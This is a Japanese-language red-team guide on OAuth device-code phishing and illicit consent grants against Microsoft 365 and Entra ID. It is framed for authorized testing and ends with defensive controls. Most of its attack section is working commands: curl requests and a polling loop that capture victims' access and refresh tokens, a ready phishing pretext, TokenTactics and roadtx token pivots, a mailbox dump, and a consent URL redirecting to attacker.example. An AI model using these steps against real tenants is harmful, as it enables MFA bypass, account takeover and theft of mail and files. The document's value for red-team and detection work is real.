デバイスコードフィッシングによるOAuth攻撃 は何をしますか?
法的通知: このスキルは、許可されたセキュリティテスト、レッドチーム演習、および教育目的にのみ使用できます。デバイスコードフィッシングと同意フィッシングは、実際のユーザーを操作して攻撃者が制御する企業IDへのアクセス権を承認させるものです。自分が所有するテナント、または明示的な書面による承認(攻撃ルール)を得たテナントに対してのみ実行してください。無断使用は、コンピュータ詐欺および不正使用防止法(CFAA)および世界各国の同等の法律に違反します。
概要
OAuth 2.0デバイス認可グラント(RFC 8628)は、ブラウザベースのログインを簡単に表示できない入力制約のあるデバイス(スマートTV、CLIツール)向けに設計されました。デバイスは短いuser_codeとdevice_codeを要求し、ユーザーにuser_codeと確認URLを表示して、ユーザーが別のフル機能デバイスで認証している間にトークンエンドポイントをポーリングします。攻撃者はこのフローを悪用します。スマートTVの代わりに、「デバイス」は攻撃者のマシンです。攻撃者はデバイスコードリクエストを開始し、被害者に正規のMicrosoft確認ページ(https://microsoft.com/devicelogin)にアクセスして攻撃者が生成したuser_codeを入力するようにフィッシングします。被害者は正規のMicrosoftログインページで認証するため(MFAを完了するため)、結果として得られるトークンは攻撃者のポーリングセッションに発行されます。これによりMFAが完全にバイパスされます。第2要素は被害者によって満たされますが、ベアラートークンは攻撃者の手に渡ります(MITRE ATT&CK T1528 – アプリケーションアクセストークンの窃取にマッピング)。
Microsoft Threat Intelligence、Volexity、Proofpointは、2025年を通じてデバイスコードフィッシングが急増したことを報告しており、ロシア関連のアクター(MicrosoftによりStorm-2372として追跡)が最も活発なグループの一つです。MandiantのM-Trendsレポートでも、OAuthトークン窃取が主要なクラウド初期アクセスベクターとして強調されています。密接に関連する手法として不正同意グラント(「OAuthフィッシング」)があります。攻撃者はマルチテナントアプリを登録し、被害者を/adminconsentまたはユーザー同意URLにクリックさせ、悪意のあるアプリにMicrosoft Graphの委任された権限(Mail.Read、Files.ReadWrite.All、offline_access)を付与させます。これはパスワードリセット後も独立して持続します。このスキルは、両方の手法と、TokenTacticsを使用したMicrosoft 365サービス全体でのトークンリプレイ、ROADtoolsを使用した検証/アクセスマッピングをカバーしています。
レッドチームが悪用する決定的な特性:デバイスコードフローを介して発行されたアクセストークンは約60~90分間有効ですが、付随するリフレッシュトークン(offline_accessスコープ付き)は最大90日間存続し、クライアントが要求を許可されている任意のファーストパーティリソース(Outlook、SharePoint、Teams、Azure Resource Manager)に対して新しいトークンと交換できます。これにより、MFAを回避した永続的なアクセスが可能になります。
使用タイミング
- ソーシャルエンジニアリングが範囲内にある、Microsoft 365 / Entra IDを対象とした許可されたレッドチームまたは想定侵害エンゲージメント中
- 実際のフィッシング手法に対するConditional Accessポリシー、MFA強制、トークン保護制御を検証する場合
- 組織がOAuthデバイスコードフローを制限しているか、未検証のマルチテナントアプリ同意をブロックしているかをテストする場合
- フィッシング耐性のある認証(FIDO2)とトークンバインディング制御を正当化するために、MFAバイパスのリスクを実証する場合
- 検出機能(ブルーチームの
hunting-saas-sso-token-abuseスキルと組み合わせて)を構築し、現実的なテレメトリが必要な場合
前提条件
- 対象テナントに対するフィッシングとトークン窃取を明示的に許可する書面による承認/攻撃ルール
- 制御された口実配信チャネル(許可されたフィッシングインフラまたは内部テストメールボックス)
- Python 3.8+ と PowerShell 7+ がインストールされたLinuxまたはWindows攻撃者ホスト
- TokenTactics (PowerShell) と ROADtools (Python) のインストール:
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security pip install roadtools roadtools_auth # roadtx (ROADtools Token eXchange) は roadtools_auth に同梱 roadtx --help # TokenTactics v2 (rvrsh3ll) git clone https://github.com/rvrsh3ll/TokenTactics.git pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1" - OAuth 2.0グラントタイプ、JWT構造、Microsoft Graphスコープに関する知識
目的
- ファーストパーティクライアントIDを使用して、Entra IDに対するOAuthデバイスコードリクエストを開始する
- 被害者を正規のMicrosoftデバイスログインページに誘導する信頼性の高い口実を配信する
- トークンエンドポイントをポーリングし、被害者のアクセストークンとリフレッシュトークンをキャプチャする
- Microsoft 365リソース(Graph、Outlook、Azure管理)全体でトークンをリフレッシュしてアクセスを拡大する
- 悪意のあるマルチテナントアプリを登録し、同意をフィッシングすることで不正同意バリアントを実行する
- ROADtoolsを使用してアクセス可能なリソースとデータを列挙し、影響を実証する
- MFAバイパスを文書化し、修正推奨事項を作成する
MITRE ATT&CKマッピング
| ID | 手法 | このスキルでの適用 |
|---|---|---|
| T1528 | アプリケーションアクセストークンの窃取 | デバイスコードフロー/同意グラントのフィッシングにより、攻撃者が制御するOAuthアクセスおよびリフレッシュトークンが生成され、再認証なしでクラウドサービスへのアクセスに再利用される |
関連する頻繁に連鎖される手法: T1566 フィッシング(配信)、T1550.001 アプリケーションアクセストークン(盗まれたトークンのリプレイ)、T1098.003 アカウント操作:追加のクラウドロール(同意グラントの持続性)。
ワークフロー
フェーズ 1: デバイスコードリクエストの開始
攻撃者はEntra IDからデバイスコードを要求し、被害者が暗黙的に信頼するファーストパーティクライアントを選択します。Microsoft OfficeクライアントID d3590ed6-52b3-4102-aeff-aad2292ab01cは、広範なファーストパーティリソースに対して事前承認されているため、一般的に使用されます。
-
トークンエンドポイントに直接デバイスコードを要求:
# client_id = Microsoft Office; scope は長期有効なリフレッシュトークンのために offline_access を要求 curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json -
JSON応答には、悪用するフィールドが含まれています:
{ "user_code": "B7HVQXKZ2", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, "interval": 5, "message": "サインインするには、Webブラウザを使用してページ https://microsoft.com/devicelogin を開き、コード B7HVQXKZ2 を入力して認証します。" } -
15分(
expires_in: 900)の有効期限ウィンドウに注意 — 口実は被害者を迅速に認証させる必要があります。TokenTacticsを使用した同等の処理(ポーリングを自動的に処理):
Import-Module ./TokenTactics/TokenTactics.psd1 # デバイスコードを生成し、ポーリングを開始します。フィッシングする user_code を出力します。 Get-AzureToken -Client MSGraph
フェーズ 2: 口実の配信
フィッシングメッセージには、資格情報収集リンクを含めてはなりません。被害者は正規のMicrosoftページで認証するため、ユーザーの疑念とMFAを回避できます。
- 正規の
https://microsoft.com/deviceloginURLとuser_codeを参照する口実を作成します(例:「IT部門が新しいTeams Roomsデバイスにアカウントを登録しています。15分以内に microsoft.com/devicelogin を開き、コード B7HVQXKZ2 を入力してください。」)。 - 許可されたフィッシングインフラを介して送信します。コード/URLのハイパーリンクはスパムに分類されることが多いため、URLとコードはプレーンテキストとして提示します。
- 配信タイミングをポーリングサイクルの開始時に合わせ、コードが新しい状態になるようにします。
フェーズ 3: トークンのポーリングとキャプチャ
被害者が認証して承認している間に、device_codeを使用してトークンエンドポイントをポーリングし、トークンが発行されるまで待ちます。
- サーバー指定の
interval(5秒)でポーリング。被害者がサインインを完了するまではauthorization_pendingが想定されます:DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])") while true; do RESP=$(curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \ -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d "device_code=${DEVICE_CODE}") echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; } echo "$RESP" | grep -q authorization_pending || echo "$RESP" sleep 5 done - 成功すると、応答は
access_token、refresh_token、id_token、expires_in、および許可されたscopeを返します。 - アクセストークンをデコードして、キャプチャされたID、対象者、スコープを確認:
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
フェーズ 4: Microsoft 365リソース全体でのリフレッシュ
リフレッシュトークン(offline_access付き)は、他のファーストパーティリソースにスコープされたトークンと交換でき、元のスコープを超えてアクセスを拡大できます。
- TokenTacticsのリフレッシュ機能を使用して、リフレッシュトークンを特定のサービスにピボット:
# $response は Get-AzureToken からのデバイスコード結果を保持 $rt = $response.refresh_token Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # メールボックスアクセス Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt - roadtxを使用した同等の処理、リフレッシュトークンを新しいリソースと交換:
roadtx refreshtokento \ -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c \ -s https://graph.microsoft.com/.default - メールボックスアクセスを実証して影響を証明(読み取り専用、エンゲージメントルールの範囲内):
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
フェーズ 5: 不正同意グラントバリアント
デバイスコードの代わりに、悪意のあるマルチテナントアプリを登録し、被害者に委任されたGraph権限への同意をフィッシングして、パスワードリセット後も持続する永続的なアクセスを取得します。
- 攻撃者テナントに、
Mail.Read、Files.ReadWrite.All、offline_accessなどの委任スコープを要求するマルチテナントアプリを登録します。 - ユーザー同意URLを作成し、フィッシング:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<攻撃者アプリID> &response_type=code &redirect_uri=https://attacker.example/callback &response_mode=query &scope=offline_access%20Mail.Read%20Files.ReadWrite.All &state=12345 - 被害者が同意したら、返された
codeをトークンと交換:curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \ -d 'client_id=<攻撃者アプリID>' \ -d 'grant_type=authorization_code' \ -d 'code=<認証コード>' \ -d 'redirect_uri=https://attacker.example/callback' \ -d 'client_secret=<アプリシークレット>' \ -d 'scope=offline_access Mail.Read Files.ReadWrite.All' - 同意されたOAuthグラントは、被害者テナントでサービスプリンシパルグラントとして、管理者が取り消すまで(
Remove-MgServicePrincipalOauth2PermissionGrant)持続します。
フェーズ 6: ROADtoolsによる影響の列挙
- キャプチャしたトークン/リフレッシュトークンでroadreconを認証し、ディレクトリをダンプ:
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c roadrecon gather roadrecon gui # ユーザー、グループ、アプリ登録、ロール割り当てを閲覧 - 高価値のアクセスを特定: ロール割り当て、所有アプリケーション、アクセス可能なSharePointサイト、追加の同意グラント。
- エンゲージメントレポートのために、盗まれたトークンが到達したデータとロールを正確に記録します。
ツールとリソース
| ツール | 目的 | ソース |
|---|---|---|
| TokenTactics v2 | M365サービス全体でデバイスコードを生成し、トークンをリフレッシュ | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | トークン交換、ディレクトリ列挙、アクセスマッピング | https://github.com/dirkjanm/ROADtools |
| AADInternals | Entra ID攻撃/偵察PowerShellツールキット | https://github.com/Gerenios/AADInternals |
| RFC 8628 | OAuth 2.0 デバイス認可グラント仕様 | https://datatracker.ietf.org/doc/html/rfc8628 |
| Microsoft / Storm-2372 アドバイザリ | デバイスコードフィッシングキャンペーン分析 | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | OAuthトークン窃取のトレンドレポート | https://cloud.google.com/security/resources/m-trends |
防御推奨事項
| 制御 | 効果 |
|---|---|
デバイスコードフローを必要としないユーザーに対して、それをブロックするConditional Accessポリシー(authenticationFlows) | ほとんどのユーザーの攻撃対象領域を削除 |
| フィッシング耐性MFA(FIDO2 / パスキー)+ トークン保護(トークンバインディング) | バインドされたトークンは被害者デバイス外で再生できない |
| ユーザー同意を検証済み発行元に制限/管理者同意を要求 | 不正同意グラントをブロック |
| 信頼できないネットワークでのサインイン頻度 + 短いセッションライフタイム | リフレッシュトークンの寿命を制限 |
AADNonInteractiveUserSignInLogs を監視してデバイスコードグラントと異常なトークン使用を検出 | 検出(hunting-saas-sso-token-abuse を参照) |
検証基準
- デバイスコードリクエストが有効な
user_codeとdevice_codeを返した - 正規のMicrosoftデバイスログインページを参照する口実が配信された(収穫リンクなし)
- トークンエンドポイントがポーリングされ、
access_token+refresh_tokenがキャプチャされた -
offline_accessを含むリフレッシュトークンが、M365サービス(Outlook、Teams、SharePoint、Azure)に対して新しいトークンを正常に発行した - 不正同意バリアントが実行され、攻撃者テナントに委任されたGraph権限が付与された
- ROADtools列挙により、被害テナント内のユーザー、ロール、アプリケーション、リソースが明らかになった
- すべてのアクティビティが認可された範囲内で行われ、証拠がルールオブエンゲージメントに従って安全に保存された